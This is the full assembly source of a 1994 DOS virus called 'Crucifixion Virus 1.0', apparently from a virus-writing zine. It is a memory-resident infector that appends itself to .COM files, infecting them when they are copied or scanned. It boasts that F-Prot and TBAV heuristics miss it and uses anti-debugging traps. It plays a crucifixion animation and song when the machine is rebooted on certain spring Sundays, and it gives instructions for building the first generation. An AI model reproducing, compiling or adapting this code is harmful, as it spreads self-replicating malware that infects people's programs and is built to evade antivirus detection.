Copy Link
Add to Bookmark
Report
Revel_1.006: Crucifixion Virus, by Jesus
;…ÕÕ---- ----ÕÕª
;∫ (rucifixion Virus 1.0 ∫
;≥ "If You're The Messiah And Ya Know It" ≥
;≥ Created by ≥
; Jesus of The Trinity
; ‹ ‹
; fl€fl fl€fl
; € €
; "Let the Christ, the King of Israel,
; Descend now from the cross,
; That we may see and believe"
; - Mark 15:32
;
; Features
; ÕÕÕÕÕÕÕÕÕÕ
; Memory resident appending .COM infector
; -------------------------------------------
; Not detected by F-Prot/TBAV with heuristics
; (sets off NO flags)
; ---------------------
; Infects .COM files when they are copied
; or scanned by some programs (F-Prot)
; ----------------------------------------
; Anti-debugging/disassembling code included
; ----------------------------------------------
; File attributes, time, and date remain intact
; ----------------------------------------------
; Int 24h critical error handling enabled
; -----------------------------------------
; And of course, one hell of a cool activation routine!
;≥ Activates on Sundays during March and April of any year ≥
;≥ when the system is rebooted using CTRL-ALT-DEL. ≥
;∫ -------------------------------------------------- ∫
;»ÕÕ---- ----ÕÕº
;This virus needs a four byte stub file for its first generation.
;Simply make a file of 4 nops in debug and save it, then merge the two
;files with somethin' like "copy /b stub.com+cruc.com crucifix.com".
.model tiny
.radix 16
.code
org 100
Crucifixion:
call Displacement
DitchDebuggers: ;And heuristics....
push di
mov di,si
add di,(Trap1-crucifixion-3)
mov ah,0cdh
xchg [di],ah ;Cause some heuristics and debuggers to
Trap1: ;terminate right here.....
mov bx,2090 ;<----
xchg [di],ah
pop di
jmp short RestoreComHost
Trap2 db 9a
RestoreComHost:
add si,(Storagebytes-crucifixion-3)
jmp short Trap3
db 0b8
Trap3:
movsw
movsw
SetupAllocation:
push ds
pop ax
dec ax
dec ax
mov ds,ax
inc ax
CheckIfInstalled:
cmp byte ptr ds:[10],'Z' ;Will not go memory res. if it is not
jne ExitCrucifixion ;in the last block of memory.
ModCurrentMCB:
sub word ptr ds:[13],(endcruc-Crucifixion)/10+3
add ax,word ptr ds:[13]
mov byte ptr ds:[10],'M'
inc ax
mov es,ax
inc ax
CreateNewMCB:
mov word ptr es:[8],'eJ'
mov word ptr es:[1],ax
mov word ptr es:[0a],'uS'
mov byte ptr es:[0],'Z'
mov word ptr es:[0c],'S'
mov word ptr es:[3],(endcruc-Crucifixion)/10+1
CopyVirus:
sub ax,10
mov es,ax
mov di,100
sub si,(EndStorage-Crucifixion)-20
mov cx,EndCruc-Crucifixion
repnz movsb
HookInts:
xor ax,ax
mov ds,ax
cli
mov ax,offset Int21h
xchg word ptr ds:[84],ax
mov word ptr es:[Old21],ax
mov ax,es ;Int 21h
xchg word ptr ds:[86],ax
mov word ptr es:[Old21+2],ax
mov ax,offset Int09
xchg word ptr ds:[9*4],ax
mov word ptr es:[Old09],ax ;Int 09h
mov ax,es
xchg word ptr ds:[9*4+2],ax
mov word ptr es:[Old09+2],ax
sti
ExitCrucifixion:
push cs cs
pop es ds
xor ax,ax
mov bx,ax
mov cx,ax
mov dx,ax
mov di,ax
mov si,100
ret
Displacement:
mov di,sp
mov si,[di]
sub sp,2
mov [di-2],si
mov word ptr [di],100
mov di,[di]
ret
StorageBytes db 0cdh,20,90,90
EndStorage:
Jmpbytes db 0e9,0,0,'≈' ;The cross is out ID byte ;)
db 0ea
Int21h:
cmp ah,6c ;This one is used by copy and similar progs.
je DosOpenFile
ExitInt21h:
db 0ea
Old21 dd 0
db 0b8
DosOpenFile:
push ax bx cx es dx di ds si
call Set24 ;Set Error Handler
mov dx,si
FindStringEnd:
lodsb
or al,al
jnz FindStringEnd
cmp word ptr [si-4],'OC'
jne DontInfect
cmp word ptr [si-2],'M'
je InfectFile
DontInfect:
jmp ExitFile
InfectFile:
mov ax,43
call call21 ;Get old attributes
mov cs:[attribs],cx
xor cx,cx
mov ax,143 ;set 'em to zero
call call21
mov ax,023dh
call call21
push cs
pop ds
jc ExitFile ;open file read/write
xchg bx,ax
mov ax,57
call call21
mov word ptr [TimeDate],cx ;save time/date
mov word ptr [TimeDate+2],dx
mov dx,offset StorageBytes
mov al,3f ;read in beginning of prog
mov cx,4
call call21
cmp byte ptr [Storagebytes+3],'≈'
je CloseFile ;Check if already infected
mov ax,word ptr [Storagebytes]
xor ah,al ;Check if .EXE file
cmp ah,17
je CloseFile
mov ax,0242
call MoveFP ;go to the end of file
cmp ax,0ff00h-(endCruc-Crucifixion) ;Make sure size is small enough
jae CloseFile ;that we don't push it > 64k
add ax,-3
mov word ptr [jmpbytes+1],ax ;calculate jump size
mov cx,endCruc-Crucifixion
mov dx,100
mov al,40 ;append virus
call call21
mov ax,42 ;go to beginning of program
call MoveFP
mov al,40
mov dx,offset jmpbytes
mov cx,4 ;write in jump and ID
call call21
CloseFile:
mov word ptr cx,[TimeDate]
mov word ptr dx,[TimeDate+2]
mov ax,157 ;restore time/date
call call21
mov al,3e
call call21 ;close it
pop dx ds
push ds dx
mov ax,143
mov cx,word ptr cs:[Attribs] ;restore attribs
call call21
ExitFile:
call Reset24 ;Restore Error Handler
pop si ds di dx es cx bx ax
jmp ExitInt21h
MoveFP:
xor cx,cx
xor dx,dx
call call21
ret
Call21:
xchg ah,al
pushf
call dword ptr cs:[Old21]
ret
db 0b1
Set24:
push ds ax
xor ax,ax
mov ds,ax
mov ax,offset Int24
xchg ax,word ptr ds:[24*4]
mov word ptr cs:[Old24],ax ;set up critical error handler
mov ax,cs
xchg ax,word ptr ds:[24*4+2]
mov word ptr cs:[Old24+2],ax
pop ax ds
ret
db 0e9
Reset24:
push ds ax
xor ax,ax
mov ds,ax
mov ax,word ptr cs:[Old24]
mov word ptr ds:[24*4],ax ;restore old critical error handler
mov ax,word ptr cs:[Old24+2]
mov word ptr ds:[24*4+2],ax
pop ax ds
ret
Int24:
mov al,3 ;return a "Fail" on errors
iret
Old24 dd 0
db 0ea
Int09:
push ax
in al,60
cmp al,53 ;Is DEL, lets check for Control-Alt
je IsDEL
NotAReboot:
pop ax
GoInt09:
db 0ea
Old09 dd 0
IsDEL:
push ds
sub ax,ax
mov ds,ax
mov al,byte ptr ds:[417]
pop ds
and al,1100b
cmp al,0c
jne NotAReboot
IsDefinitelyReboot:
mov al,2a
call call21 ;Get Date
or al,al
jnz RebootComp ;Is it sunday?
cmp dh,3
jb RebootComp ;Is it in march?
cmp dh,4
ja RebootComp ;or april?
call CrucifixionActivation
RebootComp:
db 0ea,0,0,0ff,0ff ;cold reboot
Old_SS dw 0
Old_SP dw 0
CrucifixionActivation:
mov ax,sp
mov cs:[Old_sp],ax
mov ax,ss
mov cs:[Old_SS],ax
cli
mov ax,cs
mov ss,ax
mov sp,offset EndCruc
sti
SetScreen:
mov ax,13
int 10
push cs cs
pop es ds
SetColors:
mov ax,1012
xor bx,bx
mov cx,08
mov dx,offset ColorData
int 10
DoTitle:
mov dx,09
call setcurs
mov si,offset Vname
call WriteIt
mov dx,0103
call setcurs
mov si,offset credits
call writeit
SetupPic:
push cs
pop ds
mov si,offset StartCross
mov di,0a000
mov es,di
mov di,3640
call DrawIt
GetKey:
call DoMusic
DoneGraphics:
mov ax,3
int 10
call Speaker_On
mov cx,100
FallingSound:
mov ax,cx
call Out_Sound
call delay
add cx,200
cmp cx,1a00
jb FallingSound
call Turn_Off_Speaker
RestoreStack:
cli
mov ax,word ptr cs:[Old_SS]
mov ss,ax
mov ax,word ptr cs:[Old_SP]
mov sp,ax
sti
ret
DrawIT:
mov bp,di
DrawLoop:
lodsb
cmp al,0ff
je Line
cmp al,0
je Eol
stosb
jmp DrawLoop
Line:
lodsb ;get color
xchg cx,ax ;save in cl
xor ah,ah ;zero ah
lodsb ;get line length
xchg cx,ax ;put color in al and length into cx
repnz stosb
jmp DrawLoop
Eol:
cmp byte ptr [si],0
je DoneDraw
mov di,bp
add di,320d
jmp Drawit
DoneDraw:
ret
WriteIt:
lodsb
or al,al
jz DoneWrite
mov bx,4
mov ah,0e
int 10
jmp WriteIt
DoneWrite:
ret
setcurs:
mov ah,02
mov bh,0 ;Set cursor
int 10
ret
IfYourThe:
push si
mov si,offset Lyrics1
DoLyric:
mov dx,1001
call setcurs
call WriteIt
pop si
jmp PlayMusic
ClapYour:
push si
mov si,offset Lyrics2
jmp DoLyric
YourFace:
push si
mov si,offset Lyrics3
jmp DoLyric
DoMusic:
push cs
pop ds
mov si,offset MusicData
PlayMusic:
lodsw
cmp ax,0
je DoneMusic
cmp ax,1
je TurnItOn
cmp ax,2
je TurnItOff
cmp ax,-1
je WaitSome
cmp ax,-2
je Scree
cmp ax,3
je IfYourThe
cmp ax,4
je CLapYour
cmp ax,5
je YourFace
cmp ax,6
je TheClap
call Out_Sound
jmp PlayMusic
DoneMusic:
ret
TurnItOn:
call Speaker_On
jmp PlayMusic
TurnItOff:
call Turn_Off_Speaker
jmp PlayMusic
WaitSome:
mov cx,3
WaitMore:
call delay
loop WaitMore
jmp PlayMusic
TheClap:
push es ds si di
mov si,offset Arms3
je DoArms3
Scree:
push es ds si di
DoArms2:
mov si,offset Arms2
DoArms3:
mov di,0a000
mov es,di
mov di,3640+320d*10d
call DrawIt
call Speaker_On
mov cx,400
cmp si,offset Arms3
ja MakeScreech
mov cx,8000
MakeScreech:
mov ax,cx
call Out_Sound
call delay
sub cx,3f
cmp si,offset Arms3
ja LowCheck
cmp cx,7f00
ja MakeScreech
call Turn_Off_Speaker
jmp short DoArms1
LowCheck:
cmp cx,300
ja MakeScreech
call Turn_Off_Speaker
DoArms1:
mov si,offset Arms1
mov di,0a000
mov es,di
mov di,3640+320d*10d
call DrawIt
pop di si ds es
jmp PlayMusic
delay:
push ax ds
xor ax,ax
mov ds,ax
mov ax,word ptr ds:[46c]
waiter:
cmp ax,word ptr ds:[46c]
je waiter
pop ds ax
ret
Turn_Off_Speaker:
in al,61h
and al,0FCh
out 61h,al
ret
Speaker_On:
in al,61h
or al,3
out 61h,al ;Turn on speaker
mov al,0B6h
out 43h,al
ret
Out_Sound:
out 42h,al
mov al,ah
out 42h,al
ret
ColorData:
db 0,0,0,32,1f,13,1bh,12,9,12,0e,6,19,0,0,2a,1a,10,0,13,0,0,0,18
;Picture Data
; 0ff marks line, 0 marks eol
;
; Line Format:
; 0ffh, color, length
;
;double 0 marks eof
StartCross:
db 0ff,0,18d,0ff,3,0a,0
db 0ff,0,18d,0ff,3,0a,0
db 0ff,0,18d,3,3,3,0ff,2,5,3,3,0
db 0ff,0,18d,3,3,6,0ff,2,5,6,3,0
db 0ff,0,18d,3,3,2,6,2,6,2,6,2,3,0
db 0ff,0,18d,3,3,2,1,7,1,7,1,2,3,0
db 0ff,0,18d,3,3,2,0ff,1,5,2,3,0
db 0ff,0,18d,3,3,2,1,5,5,5,1,2,3,0
db 0ff,0,18d,3,3,2,2,1,1,1,2,2,3,0
db 0ff,3,20d,2,2,1,1,1,2,2,0ff,3,18d,0
db 3,3,3,5,0ff,3,13d,5,5,2,2,2,1,1,1,2,2,2,5,5,0ff,3,12d,5,3,3,0
db 3,3,5,5,5,0ff,3,7,0ff,5,6,1,2,2,2,1,1,1,2,2,2,1,0ff,5,6,0ff,3,6,5,5,5,3,0
db 3,5,4,3,4,0ff,5,7,0ff,1,7,2,2,2,1,1,1,2,2,2,0ff,1,7,0ff,5,6,4,3,4,5,0
db 3,3,5,4,5,0ff,1,15d,2,2,1,1,1,2,2,0ff,1,14d,5,4,5,3,0
db 3,3,3,0ff,5,17d,0ff,1,7,0ff,5,16d,3,3,0
db 0ff,3,20d,5,0ff,1,5,5,3,0ff,3,17d,0
db 0ff,0,18d,3,3,5,0ff,1,5,5,3,0
db 0ff,0,18d,3,3,5,0ff,1,5,5,3,0
db 0ff,0,18d,3,3,5,0ff,1,5,5,3,0
db 0ff,0,18d,3,3,5,0ff,1,5,5,3,0
db 0ff,0,18d,3,3,5,0ff,1,5,5,3,0
db 0ff,0,18d,3,3,5,0ff,1,5,5,3,0
db 0ff,0,18d,3,3,5,0ff,1,5,5,3,0
db 0ff,0,18d,3,2,5,0ff,1,5,5,2,0
db 0ff,0,18d,3,0ff,2,09,0
db 0ff,0,18d,0ff,2,0a,0
db 0ff,0,18d,0ff,2,0a,0
db 0ff,0,18d,0ff,2,5,1,2,2,2,1,2,0
db 0ff,0,18d,2,2,2,2,1,2,2,2,1,2,2,0
db 0ff,0,18d,2,5,2,1,1,5,2,1,1,2,2,0
db 0ff,0,18d,2,5,1,1,1,5,1,1,1,5,0
db 0ff,0,18d,3,5,1,1,1,5,1,1,1,5,0
db 0ff,0,18d,3,5,1,1,1,5,1,1,1,5,0
db 0ff,0,18d,3,5,1,1,1,5,1,1,1,5,0
db 0ff,0,18d,3,5,1,1,1,5,1,1,1,5,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,5,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,4,3,4,5,4,3,4,3,0
db 0ff,0,18d,3,3,5,4,5,5,5,4,5,3,0
db 0ff,0,18d,3,3,3,0ff,5,5,3,3,0
db 0ff,0,18d,0ff,3,0a,0
db 0ff,0,18d,0ff,3,0a,0
db 0ff,0,18d,0ff,3,0a,0
db 0ff,0,18d,0ff,3,0a,0,0
endcross:
Arms1:
db 3,3,3,5,0ff,3,13d,5,5,2,2,2,1,1,1,2,2,2,5,5,0ff,3,12d,5,3,3,0
db 3,3,5,5,5,0ff,3,7,0ff,5,6,1,2,2,2,1,1,1,2,2,2,1,0ff,5,6,0ff,3,6,5,5,5,3,0
db 3,5,4,3,4,0ff,5,7,0ff,1,7,2,2,2,1,1,1,2,2,2,0ff,1,7,0ff,5,6,4,3,4,5,0
db 3,3,5,4,5,0ff,1,15d,2,2,1,1,1,2,2,0ff,1,14d,5,4,5,3,0
db 3,3,3,0ff,5,17d,0ff,1,7,0ff,5,16d,3,3,0,0
EndArms1:
Arms2:
db 3,3,3,3,0ff,3,13d,5,5,2,2,2,1,1,1,2,2,2,5,5,0ff,3,12d,3,3,3,0
db 3,3,3,5,5,0ff,3,7,0ff,5,6,1,2,2,2,1,1,1,2,2,2,1,0ff,5,6,0ff,3,6,5,3,3,3,0
db 3,3,3,5,4,0ff,5,7,0ff,1,7,2,2,2,1,1,1,2,2,2,0ff,1,7,0ff,5,6,4,5,3,3,0
db 3,3,3,5,5,0ff,1,15d,2,2,1,1,1,2,2,0ff,1,14d,5,5,3,3,0
db 3,3,3,0ff,5,17d,0ff,1,7,0ff,5,16d,3,3,0,0
EndArms2:
Arms3:
db 3,3,3,3,0ff,3,13d,5,5,2,2,2,1,1,1,2,2,2,5,5,0ff,3,12d,3,3,3,0
db 3,3,3,3,3,0ff,3,7,0ff,5,6,1,2,2,2,1,1,1,2,2,2,1,0ff,5,6,0ff,3,6,3,3,3,3,0
db 3,3,3,3,3,0ff,5,7,0ff,5,7,2,2,2,5,5,5,2,2,2,0ff,5,7,0ff,5,6,3,3,3,3,0
db 3,3,3,3,3,3,3,3,0ff,5,12d,2,2,4,4,4,2,2,0ff,5,12d,3,3,3,3,3,3,0
db 3,3,3,0ff,3,10d,0ff,5,10d,4,4,0ff,5,10d,0ff,3,0a,0,0
EndArms3:
;Music Data
; 1 = Turn On Speaker 2 = Turn Off Speaker
;-1 = Pause -2 = Screech
; 0 = End of data
;
; 3 = lyrics #1
; 4 = lyrics #2
; 5 = lyrics #3
; 6 = final clap
;Most other numbers taken as data for outputting to Timer
;
MusicData:
;If you're the messiah and you know it
dw 3
dw 1,1473d,-1,2,1,1473d,-1,2,1,1084d,-1,2,1,1084d,-1,2,1,1084d,-1,2
dw 1,1084d,-1,2,1,1084d,-1,2,1,1084d,-1,2
;clap your hands
dw 4
dw 1,1193d,-1,2,1,1084d,-1,2,1,994d,-1,2
;Scree! Scree!
dw -1,-2,-1,-2,-1
;If you're the messiah and you know it
dw 3
dw 1,1473d,-1,2,1,1473d,-1,2,1,994d,-1,2,1,994d,-1,2,1,994d,-1,2
dw 1,994d,-1,2,1,994d,-1,2,1,994d,-1,2
;clap your hands
dw 4
dw 1,1084d,-1,2,1,994d,-1,2,1,883d,-1,2
;Scree! Scree!
dw -1,-2,-1,-2,-1
;If you're the messiah and you know it
dw 3
dw 1,1084d,-1,2,1,883d,-1,2,1,822d,-1,2,1,822d,-1,2,1,822d,-1,2
dw 1,883d,-1,2,1,1325d,-1,2,1,1325d,-1,2
;Then your face will surely show it
dw 5
dw 1,822d,-1,2,1,994d,-1,2,1,883d,-1,2,1,883d,-1,2,1,883d,-1,2
dw 1,994d,-1,2,1,1084d,-1,2,1,1084d,-1,2
;If you're the messiah and you know it
dw 3
dw 1,1084d,-1,2,1,883d,-1,2
dw 1,994d,-1,2,1,994d,-1,2,1,994d,-1,2,1,1084d,-1,2,1,1193d,-1,2
dw 1,1193d,-1,2
;clap your hands
dw 4
dw 1,1325d,-1,2,1,1193d,-1,2,1,1084d,-1,2
;Scree! Scree!
dw -1,6,-1,6,-1,0
Lyrics1 db 'If you''re the Messiah and you know it,',0
Lyrics2 db ' Clap your hands! ',0
Lyrics3 db ' Then your face will surely show it, ',0
Vname db '(rucifixion Virus 1.0',0
Credits db '(c) 1994, by Jesus of The Trinity',0
Attribs dw 0
TimeDate dw 0,0
MyStack dw 40 dup(0) ;dunno if this is needed, but it don't
;crash no more....
endCruc:
end Crucifixion